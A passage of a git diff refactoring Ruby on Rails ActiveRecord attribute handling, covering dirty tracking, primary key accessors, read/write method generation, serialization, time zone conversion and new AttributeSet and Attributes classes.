+ changes_applied
end
end
# <tt>reload</tt> the record and clears changed attributes.
def reload(*)
super.tap do
- @previously_changed.clear
- @changed_attributes.clear
+ clear_changes_information
+ end
+ end
+
+ def initialize_dup(other) # :nodoc:
+ super
+ calculate_changes_from_defaults
+ end
+
+ def changes_applied
+ super
+ store_original_raw_attributes
+ end
+
+ def clear_changes_information
+ super
+ original_raw_attributes.clear
+ end
+
+ def changed_attributes
+ # This should only be set by methods which will call changed_attributes
+ # multiple times when it is known that the computed value cannot change.
+ if defined?(@cached_changed_attributes)
+ @cached_changed_attributes
+ else
+ super.reverse_merge(attributes_changed_in_place).freeze
+ end
+ end
+
+ def changes
+ cache_changed_attributes do
+ super
+ end
+ end
+
+ def attribute_changed_in_place?(attr_name)
+ old_value = original_raw_attribute(attr_name)
+ @attributes[attr_name].changed_in_place_from?(old_value)
+ end
+
+ private
+
+ def calculate_changes_from_defaults
+ @changed_attributes = nil
+ self.class.column_defaults.each do |attr, orig_value|
+ set_attribute_was(attr, orig_value) if _field_changed?(attr, orig_value)
end
end
- private
# Wrap write_attribute to remember original attribute value.
def write_attribute(attr, value)
attr = attr.to_s
- # The attribute already has an unsaved change.
+ old_value = old_attribute_value(attr)
+
+ result = super
+ store_original_raw_attribute(attr)
+ save_changed_attribute(attr, old_value)
+ result
+ end
+
+ def raw_write_attribute(attr, value)
+ attr = attr.to_s
+
+ result = super
+ original_raw_attributes[attr] = value
+ result
+ end
+
+ def save_changed_attribute(attr, old_value)
if attribute_changed?(attr)
- old = @changed_attributes[attr]
- @changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
+ clear_attribute_changes(attr) unless _field_changed?(attr, old_value)
else
- old = clone_attribute_value(:read_attribute, attr)
- @changed_attributes[attr] = old if _field_changed?(attr, old, value)
+ set_attribute_was(attr, old_value) if _field_changed?(attr, old_value)
end
+ end
- # Carry on.
- super(attr, value)
+ def old_attribute_value(attr)
+ if attribute_changed?(attr)
+ changed_attributes[attr]
+ else
+ clone_attribute_value(:_read_attribute, attr)
+ end
end
- def update(*)
+ def _update_record(*)
partial_writes? ? super(keys_for_partial_write) : super
end
- def create(*)
+ def _create_record(*)
partial_writes? ? super(keys_for_partial_write) : super
end
# Serialized attributes should always be written in case they've been
# changed in place.
def keys_for_partial_write
- changed | (attributes.keys & self.class.serialized_attributes.keys)
+ changed
+ end
+
+ def _field_changed?(attr, old_value)
+ @attributes[attr].changed_from?(old_value)
+ end
+
+ def attributes_changed_in_place
+ changed_in_place.each_with_object({}) do |attr_name, h|
+ orig = @attributes[attr_name].original_value
+ h[attr_name] = orig
+ end
end
- def _field_changed?(attr, old, value)
- if column = column_for_attribute(attr)
- if column.number? && (changes_from_nil_to_empty_string?(column, old, value) ||
- changes_from_zero_to_string?(old, value))
- value = nil
- else
- value = column.type_cast(value)
- end
+ def changed_in_place
+ self.class.attribute_names.select do |attr_name|
+ attribute_changed_in_place?(attr_name)
end
+ end
- old != value
+ def original_raw_attribute(attr_name)
+ original_raw_attributes.fetch(attr_name) do
+ read_attribute_before_type_cast(attr_name)
+ end
end
- def changes_from_nil_to_empty_string?(column, old, value)
- # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
- # Hence we don't record it as a change if the value changes from nil to ''.
- # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
- # be typecast back to 0 (''.to_i => 0)
- column.null && (old.nil? || old == 0) && value.blank?
+ def original_raw_attributes
+ @original_raw_attributes ||= {}
+ end
+
+ def store_original_raw_attribute(attr_name)
+ original_raw_attributes[attr_name] = @attributes[attr_name].value_for_database
+ end
+
+ def store_original_raw_attributes
+ attribute_names.each do |attr|
+ store_original_raw_attribute(attr)
+ end
end
- def changes_from_zero_to_string?(old, value)
- # For columns with old 0 and value non-empty string
- old == 0 && value.is_a?(String) && value.present? && value != '0'
+ def cache_changed_attributes
+ @cached_changed_attributes = changed_attributes
+ yield
+ ensure
+ remove_instance_variable(:@cached_changed_attributes)
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
index 0857b02c8e..c28374e4ab 100644
--- a/activerecord/lib/active_record/attribute_methods/primary_key.rb
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -8,30 +8,43 @@ module ActiveRecord
# Returns this record's primary key value wrapped in an Array if one is
# available.
def to_key
+ sync_with_transaction_state
key = self.id
[key] if key
end
# Returns the primary key value.
def id
- read_attribute(self.class.primary_key)
+ if pk = self.class.primary_key
+ sync_with_transaction_state
+ _read_attribute(pk)
+ end
end
# Sets the primary key value.
def id=(value)
+ sync_with_transaction_state
write_attribute(self.class.primary_key, value) if self.class.primary_key
end
# Queries the primary key value.
def id?
+ sync_with_transaction_state
query_attribute(self.class.primary_key)
end
# Returns the primary key value before type cast.
def id_before_type_cast
+ sync_with_transaction_state
read_attribute_before_type_cast(self.class.primary_key)
end
+ # Returns the primary key previous value.
+ def id_was
+ sync_with_transaction_state
+ attribute_was(self.class.primary_key)
+ end
+
protected
def attribute_method?(attr_name)
@@ -47,7 +60,7 @@ module ActiveRecord
end
end
- ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast).to_set
+ ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast id_was).to_set
def dangerous_attribute_method?(method_name)
super && !ID_ATTRIBUTE_METHODS.include?(method_name)
@@ -76,16 +89,13 @@ module ActiveRecord
end
def get_primary_key(base_name) #:nodoc:
- return 'id' unless base_name && !base_name.blank?
-
- case primary_key_prefix_type
- when :table_name
+ if base_name && primary_key_prefix_type == :table_name
base_name.foreign_key(false)
- when :table_name_with_underscore
+ elsif base_name && primary_key_prefix_type == :table_name_with_underscore
base_name.foreign_key
else
if ActiveRecord::Base != self && table_exists?
- connection.schema_cache.primary_keys[table_name]
+ connection.schema_cache.primary_keys(table_name)
else
'id'
end
@@ -110,6 +120,7 @@ module ActiveRecord
def primary_key=(value)
@primary_key = value && value.to_s
@quoted_primary_key = nil
+ @attributes_builder = nil
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb
index 0f9723febb..dc689f399a 100644
--- a/activerecord/lib/active_record/attribute_methods/query.rb
+++ b/activerecord/lib/active_record/attribute_methods/query.rb
@@ -8,7 +8,7 @@ module ActiveRecord
end
def query_attribute(attr_name)
- value = read_attribute(attr_name) { |n| missing_attribute(n, caller) }
+ value = self[attr_name]
case value
when true then true
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index 3c03cce838..20f0936e52 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -1,40 +1,16 @@
+require 'active_support/core_ext/module/method_transplanting'
+
module ActiveRecord
module AttributeMethods
module Read
- extend ActiveSupport::Concern
-
- ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
-
- included do
- class_attribute :attribute_types_cached_by_default, instance_writer: false
- self.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
- end
-
- module ClassMethods
- # +cache_attributes+ allows you to declare which converted attribute
- # values should be cached. Usually caching only pays off for attributes
- # with expensive conversion methods, like time related columns (e.g.
- # +created_at+, +updated_at+).
- def cache_attributes(*attribute_names)
- cached_attributes.merge attribute_names.map { |attr| attr.to_s }
- end
-
- # Returns the attributes which are cached. By default time related columns
- # with datatype <tt>:datetime, :timestamp, :time, :date</tt> are cached.
- def cached_attributes
- @cached_attributes ||= columns.select { |c| cacheable_column?(c) }.map { |col| col.name }.to_set
- end
-
- # Returns +true+ if the provided attribute is being cached.
- def cache_attribute?(attr_name)
- cached_attributes.include?(attr_name)
- end
-
- protected
-
+ ReaderMethodCache = Class.new(AttributeMethodCache) {
+ private
# We want to generate the methods via module_eval rather than
- # define_method, because define_method is slower on dispatch and
- # uses more memory (because it creates a closure).
+ # define_method, because define_method is slower on dispatch.
+ # Evaluating many similar methods may use more memory as the instruction
+ # sequences are duplicated and cached (in MRI). define_method may
+ # be slower on dispatch, but if you're careful about the closure
+ # created, then define_method will consume much less memory.
#
# But sometimes the database might return columns with
# characters that are not allowed in normal method names (like
@@ -46,61 +22,81 @@ module ActiveRecord
# the attribute name. Using a constant means that we do not have
# to allocate an object on each call to the attribute method.
# Making it frozen means that it doesn't get duped when used to
- # key the @attributes_cache in read_attribute.
- def define_method_attribute(name)
- safe_name = name.unpack('h*').first
- generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
- def __temp__#{safe_name}
- read_attribute(AttrNames::ATTR_#{safe_name}) { |n| missing_attribute(n, caller) }
- end
- alias_method #{name.inspect}, :__temp__#{safe_name}
- undef_method :__temp__#{safe_name}
- STR
+ # key the @attributes in read_attribute.
+ def method_body(method_name, const_name)
+ <<-EOMETHOD
+ def #{method_name}
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name}
+ _read_attribute(name) { |n| missing_attribute(n, caller) }
+ end
+ EOMETHOD
end
+ }.new
- private
+ extend ActiveSupport::Concern
- def cacheable_column?(column)
- if attribute_types_cached_by_default == ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
- ! serialized_attributes.include? column.name
- else
- attribute_types_cached_by_default.include?(column.type)
+ module ClassMethods
+ [:cache_attributes, :cached_attributes, :cache_attribute?].each do |method_name|
+ define_method method_name do |*|
+ cached_attributes_deprecation_warning(method_name)
+ true
+ end
+ end
+
+ protected
+
+ def cached_attributes_deprecation_warning(method_name)
+ ActiveSupport::Deprecation.warn "Calling `#{method_name}` is no longer necessary. All attributes are cached."
+ end
+
+ if Module.methods_transplantable?
+ def define_method_attribute(name)
+ method = ReaderMethodCache[name]
+ generated_attribute_methods.module_eval { define_method name, method }
+ end
+ else
+ def define_method_attribute(name)
+ safe_name = name.unpack('h*').first
+ temp_method = "__temp__#{safe_name}"
+
+ ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+
+ generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+ def #{temp_method}
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+ _read_attribute(name) { |n| missing_attribute(n, caller) }
+ end
+ STR
+
+ generated_attribute_methods.module_eval do
+ alias_method name, temp_method
+ undef_method temp_method
+ end
end
end
end
+ ID = 'id'.freeze
+
# Returns the value of the attribute identified by <tt>attr_name</tt> after
- # it has been typecast (for example, "2004-12-12" in a data column is cast
+ # it has been typecast (for example, "2004-12-12" in a date column is cast
# to a date object, like Date.new(2004, 12, 12)).
- def read_attribute(attr_name)
- # If it's cached, just return it
- # We use #[] first as a perf optimization for non-nil values. See https://gist.github.com/3552829.
+ def read_attribute(attr_name, &block)
name = attr_name.to_s
- @attributes_cache[name] || @attributes_cache.fetch(name) {
- column = @columns_hash.fetch(name) {
- return @attributes.fetch(name) {
- if name == 'id' && self.class.primary_key != name
- read_attribute(self.class.primary_key)
- end
- }
- }
-
- value = @attributes.fetch(name) {
- return block_given? ? yield(name) : nil
- }
+ name = self.class.primary_key if name == ID
+ _read_attribute(name, &block)
+ end
- if self.class.cache_attribute?(name)
- @attributes_cache[name] = column.type_cast(value)
- else
- column.type_cast value
- end
- }
+ # This method exists to avoid the expensive primary_key check internally, without
+ # breaking compatibility with the read_attribute API
+ def _read_attribute(attr_name) # :nodoc:
+ @attributes.fetch_value(attr_name.to_s) { |n| yield n if block_given? }
end
private
def attribute(attribute_name)
- read_attribute(attribute_name)
+ _read_attribute(attribute_name)
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
index 47d4a938af..e5ec5ddca5 100644
--- a/activerecord/lib/active_record/attribute_methods/serialization.rb
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -1,27 +1,23 @@
+require 'active_support/core_ext/string/filters'
+
module ActiveRecord
module AttributeMethods
module Serialization
extend ActiveSupport::Concern
- included do
- # Returns a hash of all the attributes that have been specified for
- # serialization as keys and their class restriction as values.
- class_attribute :serialized_attributes, instance_accessor: false
- self.serialized_attributes = {}
- end
-
module ClassMethods
# If you have an attribute that needs to be saved to the database as an
# object, and retrieved as the same object, then specify the name of that
# attribute using this method and it will be handled automatically. The
# serialization is done through YAML. If +class_name+ is specified, the
- # serialized object must be of that class on retrieval or
- # <tt>SerializationTypeMismatch</tt> will be raised.
+ # serialized object must be of that class on assignment and retrieval.
+ # Otherwise <tt>SerializationTypeMismatch</tt> will be raised.
#
# ==== Parameters
#
# * +attr_name+ - The field name that should be serialized.
- # * +class_name+ - Optional, class name that the object type should be equal to.
+ # * +class_name_or_coder+ - Optional, a coder object, which responds to `.load` / `.dump`
+ # or a class name that the object type should be equal to.
#
# ==== Example
#
@@ -29,113 +25,44 @@ module ActiveRecord
# class User < ActiveRecord::Base
# serialize :preferences
# end
- def serialize(attr_name, class_name = Object)
- include Behavior
-
- coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
- class_name
+ #
+ # # Serialize preferences using JSON as coder.
+ # class User < ActiveRecord::Base
+ # serialize :preferences, JSON
+ # end
+ #
+ # # Serialize preferences as Hash using YAML coder.
+ # class User < ActiveRecord::Base
+ # serialize :preferences, Hash
+ # end
+ def serialize(attr_name, class_name_or_coder = Object)
+ # When ::JSON is used, force it to go through the Active Support JSON encoder
+ # to ensure special objects (e.g. Active Record models) are dumped correctly
+ # using the #as_json hook.
+ coder = if class_name_or_coder == ::JSON
+ Coders::JSON
+ elsif [:load, :dump].all? { |x| class_name_or_coder.respond_to?(x) }
+ class_name_or_coder
else
- Coders::YAMLColumn.new(class_name)
+ Coders::YAMLColumn.new(class_name_or_coder)
end
- # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
- # has its own hash of own serialized attributes
- self.serialized_attributes = serialized_attributes.merge(attr_name.to_s => coder)
- end
- end
-
- def serialized_attributes
- message = "Instance level serialized_attributes method is deprecated, please use class level method."
- ActiveSupport::Deprecation.warn message
- defined?(@serialized_attributes) ? @serialized_attributes : self.class.serialized_attributes
- end
-
- class Type # :nodoc:
- def initialize(column)
- @column = column
- end
-
- def type_cast(value)
- value.unserialized_value
- end
-
- def type
- @column.type
- end
- end
-
- class Attribute < Struct.new(:coder, :value, :state) # :nodoc:
- def unserialized_value
- state == :serialized ? unserialize : value
- end
-
- def serialized_value
- state == :unserialized ? serialize : value
- end
-
- def unserialize
- self.state = :unserialized
- self.value = coder.load(value)
- end
-
- def serialize
- self.state = :serialized
- self.value = coder.dump(value)
- end
- end
-
- # This is only added to the model when serialize is called, which
- # ensures we do not make things slower when serialization is not used.
- module Behavior #:nodoc:
- extend ActiveSupport::Concern
-
- module ClassMethods
- def initialize_attributes(attributes, options = {})
- serialized = (options.delete(:serialized) { true }) ? :serialized : :unserialized
- super(attributes, options)
-
- serialized_attributes.each do |key, coder|
- if attributes.key?(key)
- attributes[key] = Attribute.new(coder, attributes[key], serialized)
- end
- end
-
- attributes
- end
- end
-
- def type_cast_attribute_for_write(column, value)
- if column && coder = self.class.serialized_attributes[column.name]
- Attribute.new(coder, value, :unserialized)
- else
- super
+ decorate_attribute_type(attr_name, :serialize) do |type|
+ Type::Serialized.new(type, coder)
end
end
- def read_attribute_before_type_cast(attr_name)
- if self.class.serialized_attributes.include?(attr_name)
- super.unserialized_value
- else
- super
- end
- end
-
- def attributes_before_type_cast
- super.dup.tap do |attributes|
- self.class.serialized_attributes.each_key do |key|
- if attributes.key?(key)
- attributes[key] = attributes[key].unserialized_value
- end
- end
- end
- end
-
- def typecasted_attribute_value(name)
- if self.class.serialized_attributes.include?(name)
- @attributes[name].serialized_value
- else
- super
- end
+ def serialized_attributes
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ `serialized_attributes` is deprecated without replacement, and will
+ be removed in Rails 5.0.
+ MSG
+
+ @serialized_attributes ||= Hash[
+ columns.select { |t| t.cast_type.is_a?(Type::Serialized) }.map { |c|
+ [c.name, c.cast_type.coder]
+ }
+ ]
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
index 47a8b576c0..33d9d2002c 100644
--- a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -1,18 +1,29 @@
module ActiveRecord
module AttributeMethods
module TimeZoneConversion
- class Type # :nodoc:
- def initialize(column)
- @column = column
+ class TimeZoneConverter < DelegateClass(Type::Value) # :nodoc:
+ include Type::Decorator
+
+ def type_cast_from_database(value)
+ convert_time_to_time_zone(super)
end
- def type_cast(value)
- value = @column.type_cast(value)
- value.acts_like?(:time) ? value.in_time_zone : value
+ def type_cast_from_user(value)
+ if value.is_a?(Array)
+ value.map { |v| type_cast_from_user(v) }
+ elsif value.respond_to?(:in_time_zone)
+ value.in_time_zone
+ end
end
- def type
- @column.type
+ def convert_time_to_time_zone(value)
+ if value.is_a?(Array)
+ value.map { |v| convert_time_to_time_zone(v) }
+ elsif value.acts_like?(:time)
+ value.in_time_zone
+ else
+ value
+ end
end
end
@@ -27,46 +38,28 @@ module ActiveRecord
end
module ClassMethods
- protected
- # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
- # This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
- def define_method_attribute=(attr_name)
- if create_time_zone_conversion_attribute?(attr_name, columns_hash[attr_name])
- method_body, line = <<-EOV, __LINE__ + 1
- def #{attr_name}=(original_time)
- original_time = nil if original_time.blank?
- time = original_time
- unless time.acts_like?(:time)
- time = time.is_a?(String) ? Time.zone.parse(time) : time.to_time rescue time
- end
- zoned_time = time && time.in_time_zone rescue nil
- rounded_time = round_usec(zoned_time)
- rounded_value = round_usec(read_attribute("#{attr_name}"))
- if (rounded_value != rounded_time) || (!rounded_value && original_time)
- write_attribute("#{attr_name}", original_time)
- #{attr_name}_will_change!
- @attributes_cache["#{attr_name}"] = zoned_time
- end
- end
- EOV
- generated_attribute_methods.module_eval(method_body, __FILE__, line)
- else
- super
+ private
+
+ def inherited(subclass)
+ # We need to apply this decorator here, rather than on module inclusion. The closure
+ # created by the matcher would otherwise evaluate for `ActiveRecord::Base`, not the
+ # sub class being decorated. As such, changes to `time_zone_aware_attributes`, or
+ # `skip_time_zone_conversion_for_attributes` would not be picked up.
+ subclass.class_eval do
+ matcher = ->(name, type) { create_time_zone_conversion_attribute?(name, type) }
+ decorate_matching_attribute_types(matcher, :_time_zone_conversion) do |type|
+ TimeZoneConverter.new(type)
+ end
end
+ super
end
- private
- def create_time_zone_conversion_attribute?(name, column)
+ def create_time_zone_conversion_attribute?(name, cast_type)
time_zone_aware_attributes &&
!self.skip_time_zone_conversion_for_attributes.include?(name.to_sym) &&
- [:datetime, :timestamp].include?(column.type)
+ (:datetime == cast_type.type)
end
end
-
- private
- def round_usec(value)
- value.change(usec: 0) if value
- end
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index cd33494cc3..b3c8209a74 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -1,6 +1,21 @@
+require 'active_support/core_ext/module/method_transplanting'
+
module ActiveRecord
module AttributeMethods
module Write
+ WriterMethodCache = Class.new(AttributeMethodCache) {
+ private
+
+ def method_body(method_name, const_name)
+ <<-EOMETHOD
+ def #{method_name}(value)
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name}
+ write_attribute(name, value)
+ end
+ EOMETHOD
+ end
+ }.new
+
extend ActiveSupport::Concern
included do
@@ -10,17 +25,27 @@ module ActiveRecord
module ClassMethods
protected
- # See define_method_attribute in read.rb for an explanation of
- # this code.
- def define_method_attribute=(name)
- safe_name = name.unpack('h*').first
- generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
- def __temp__#{safe_name}=(value)
- write_attribute(AttrNames::ATTR_#{safe_name}, value)
- end
- alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
- undef_method :__temp__#{safe_name}=
- STR
+ if Module.methods_transplantable?
+ def define_method_attribute=(name)
+ method = WriterMethodCache[name]
+ generated_attribute_methods.module_eval {
+ define_method "#{name}=", method
+ }
+ end
+ else
+ def define_method_attribute=(name)
+ safe_name = name.unpack('h*').first
+ ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+
+ generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+ def __temp__#{safe_name}=(value)
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+ write_attribute(name, value)
+ end
+ alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
+ undef_method :__temp__#{safe_name}=
+ STR
+ end
end
end
@@ -28,24 +53,12 @@ module ActiveRecord
# specified +value+. Empty strings for fixnum and float columns are
# turned into +nil+.
def write_attribute(attr_name, value)
- attr_name = attr_name.to_s
- attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
- @attributes_cache.delete(attr_name)
- column = column_for_attribute(attr_name)
-
- # If we're dealing with a binary column, write the data to the cache
- # so we don't attempt to typecast multiple times.
- if column && column.binary?
- @attributes_cache[attr_name] = value
- end
+ write_attribute_with_type_cast(attr_name, value, true)
+ end
- if column || @attributes.has_key?(attr_name)
- @attributes[attr_name] = type_cast_attribute_for_write(column, value)
- else
- raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'"
- end
+ def raw_write_attribute(attr_name, value)
+ write_attribute_with_type_cast(attr_name, value, false)
end
- alias_method :raw_write_attribute, :write_attribute
private
# Handle *= for method_missing.
@@ -53,10 +66,17 @@ module ActiveRecord
write_attribute(attribute_name, value)
end
- def type_cast_attribute_for_write(column, value)
- return value unless column
+ def write_attribute_with_type_cast(attr_name, value, should_type_cast)
+ attr_name = attr_name.to_s
+ attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
+
+ if should_type_cast
+ @attributes.write_from_user(attr_name, value)
+ else
+ @attributes.write_from_database(attr_name, value)
+ end
- column.type_cast_for_write value
+ value
end
end
end
diff --git a/activerecord/lib/active_record/attribute_set.rb b/activerecord/lib/active_record/attribute_set.rb
new file mode 100644
index 0000000000..6b1d7ea79e
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_set.rb
@@ -0,0 +1,73 @@
+require 'active_record/attribute_set/builder'
+
+module ActiveRecord
+ class AttributeSet # :nodoc:
+ def initialize(attributes)
+ @attributes = attributes
+ end
+
+ def [](name)
+ attributes[name] || Attribute.null(name)
+ end
+
+ def values_before_type_cast
+ attributes.transform_values(&:value_before_type_cast)
+ end
+
+ def to_hash
+ initialized_attributes.transform_values(&:value)
+ end
+ alias_method :to_h, :to_hash
+
+ def key?(name)
+ attributes.key?(name) && self[name].initialized?
+ end
+
+ def keys
+ attributes.initialized_keys
+ end
+
+ def fetch_value(name)
+ self[name].value { |n| yield n if block_given? }
+ end
+
+ def write_from_database(name, value)
+ attributes[name] = self[name].with_value_from_database(value)
+ end
+
+ def write_from_user(name, value)
+ attributes[name] = self[name].with_value_from_user(value)
+ end
+
+ def freeze
+ @attributes.freeze
+ super
+ end
+
+ def initialize_dup(_)
+ @attributes = attributes.dup
+ super
+ end
+
+ def initialize_clone(_)
+ @attributes = attributes.clone
+ super
+ end
+
+ def reset(key)
+ if key?(key)
+ write_from_database(key, nil)
+ end
+ end
+
+ protected
+
+ attr_reader :attributes
+
+ private
+
+ def initialized_attributes
+ attributes.select { |_, attr| attr.initialized? }
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_set/builder.rb b/activerecord/lib/active_record/attribute_set/builder.rb
new file mode 100644
index 0000000000..05138ae36d
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_set/builder.rb
@@ -0,0 +1,84 @@
+module ActiveRecord
+ class AttributeSet # :nodoc:
+ class Builder # :nodoc:
+ attr_reader :types, :always_initialized
+
+ def initialize(types, always_initialized = nil)
+ @types = types
+ @always_initialized = always_initialized
+ end
+
+ def build_from_database(values = {}, additional_types = {})
+ if always_initialized && !values.key?(always_initialized)
+ values[always_initialized] = nil
+ end
+
+ attributes = LazyAttributeHash.new(types, values, additional_types)
+ AttributeSet.new(attributes)
+ end
+ end
+ end
+
+ class LazyAttributeHash # :nodoc:
+ delegate :select, :transform_values, to: :materialize
+
+ def initialize(types, values, additional_types)
+ @types = types
+ @values = values
+ @additional_types = additional_types
+ @materialized = false
+ @delegate_hash = {}
+ end
+
+ def key?(key)
+ delegate_hash.key?(key) || values.key?(key) || types.key?(key)
+ end
+
+ def [](key)
+ delegate_hash[key] || assign_default_value(key)
+ end
+
+ def []=(key, value)
+ if frozen?
+ raise RuntimeError, "Can't modify frozen hash"
+ end
+ delegate_hash[key] = value
+ end
+
+ def initialized_keys
+ delegate_hash.keys | values.keys
+ end
+
+ def initialize_dup(_)
+ @delegate_hash = delegate_hash.transform_values(&:dup)
+ super
+ end
+
+ protected
+
+ attr_reader :types, :values, :additional_types, :delegate_hash
+
+ private
+
+ def assign_default_value(name)
+ type = additional_types.fetch(name, types[name])
+ value_present = true
+ value = values.fetch(name) { value_present = false }
+
+ if value_present
+ delegate_hash[name] = Attribute.from_database(name, value, type)
+ elsif types.key?(name)
+ delegate_hash[name] = Attribute.uninitialized(name, type)
+ end
+ end
+
+ def materialize
+ unless @materialized
+ values.each_key { |key| self[key] }
+ types.each_key { |key| self[key] }
+ @materialized = true
+ end
+ delegate_hash
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attributes.rb b/activerecord/lib/active_record/attributes.rb
new file mode 100644
index 0000000000..3288108a6a
--- /dev/null
+++ b/activerecord/lib/active_record/attributes.rb
@@ -0,0 +1,139 @@
+module ActiveRecord
+ module Attributes # :nodoc:
+ extend ActiveSupport::Concern
+
+ Type = ActiveRecord::Type
+
+ included do
+ class_attribute :user_provided_columns, instance_accessor: false # :internal:
+ class_attribute :user_provided_defaults, instance_accessor: false # :internal:
+ self.user_provided_columns = {}
+ self.user_provided_defaults = {}
+ end
+
+ module ClassMethods # :nodoc:
+ # Defines or overrides a attribute on this model. This allows customization of
+ # Active Record's type casting behavior, as well as adding support for user defined
+ # types.
+ #
+ # +name+ The name of the methods to define attribute methods for, and the column which
+ # this will persist to.
+ #
+ # +cast_type+ A type object that contains information about how to type cast the value.
+ # See the examples section for more information.
+ #
+ # ==== Options
+ # The options hash accepts the following options:
+ #
+ # +default+ is the default value that the column should use on a new record.
+ #
+ # ==== Examples
+ #
+ # The type detected by Active Record can be overridden.
+ #
+ # # db/schema.rb
+ # create_table :store_listings, force: true do |t|
+ # t.decimal :price_in_cents
+ # end
+ #
+ # # app/models/store_listing.rb
+ # class StoreListing < ActiveRecord::Base
+ # end
+ #
+ # store_listing = StoreListing.new(price_in_cents: '10.1')
+ #
+ # # before
+ # store_listing.price_in_cents # => BigDecimal.new(10.1)
+ #
+ # class StoreListing < ActiveRecord::Base
+ # attribute :price_in_cents, Type::Integer.new
+ # end
+ #
+ # # after
+ # store_listing.price_in_cents # => 10
+ #
+ # Users may also define their own custom types, as long as they respond to the methods
+ # defined on the value type. The `type_cast` method on your type object will be called
+ # with values both from the database, and from your controllers. See
+ # `ActiveRecord::Attributes::Type::Value` for the expected API. It is recommended that your
+ # type objects inherit from an existing type, or the base value type.
+ #
+ # class MoneyType < ActiveRecord::Type::Integer
+ # def type_cast(value)
+ # if value.include?('$')
+ # price_in_dollars = value.gsub(/\$/, '').to_f
+ # price_in_dollars * 100
+ # else
+ # value.to_i
+ # end
+ # end
+ # end
+ #
+ # class StoreListing < ActiveRecord::Base
+ # attribute :price_in_cents, MoneyType.new
+ # end
+ #
+ # store_listing = StoreListing.new(price_in_cents: '$10.00')
+ # store_listing.price_in_cents # => 1000
+ def attribute(name, cast_type, options = {})
+ name = name.to_s
+ clear_caches_calculated_from_columns
+ # Assign a new hash to ensure that subclasses do not share a hash
+ self.user_provided_columns = user_provided_columns.merge(name => cast_type)
+
+ if options.key?(:default)
+ self.user_provided_defaults = user_provided_defaults.merge(name => options[:default])
+ end
+ end
+
+ # Returns an array of column objects for the table associated with this class.
+ def columns
+ @columns ||= add_user_provided_columns(connection.schema_cache.columns(table_name))
+ end
+
+ # Returns a hash of column objects for the table associated with this class.
+ def columns_hash
+ @columns_hash ||= Hash[columns.map { |c| [c.name, c] }]
+ end
+
+ def reset_column_information # :nodoc:
+ super
+ clear_caches_calculated_from_columns
+ end
+
+ private
+
+ def add_user_provided_columns(schema_columns)
+ existing_columns = schema_columns.map do |column|
+ new_type = user_provided_columns[column.name]
+ if new_type
+ column.with_type(new_type)
+ else
+ column
+ end
+ end
+
+ existing_column_names = existing_columns.map(&:name)
+ new_columns = user_provided_columns.except(*existing_column_names).map do |(name, type)|
+ connection.new_column(name, nil, type)
+ end
+
+ existing_columns + new_columns
+ end
+
+ def clear_caches_calculated_from_columns
+ @attributes_builder = nil
+ @column_names = nil
+ @column_types = nil
+ @columns = nil
+ @columns_hash = nil
+ @content_columns = nil
+ @default_attributes = nil
+ end
+
+ def raw_default_values
+ super.merge(user_provided_defaults)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index 704998301c..c39b045a5e 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -17,7 +17,8 @@ module ActiveRecord
# be destroyed directly. They will however still be marked for destruction.
#
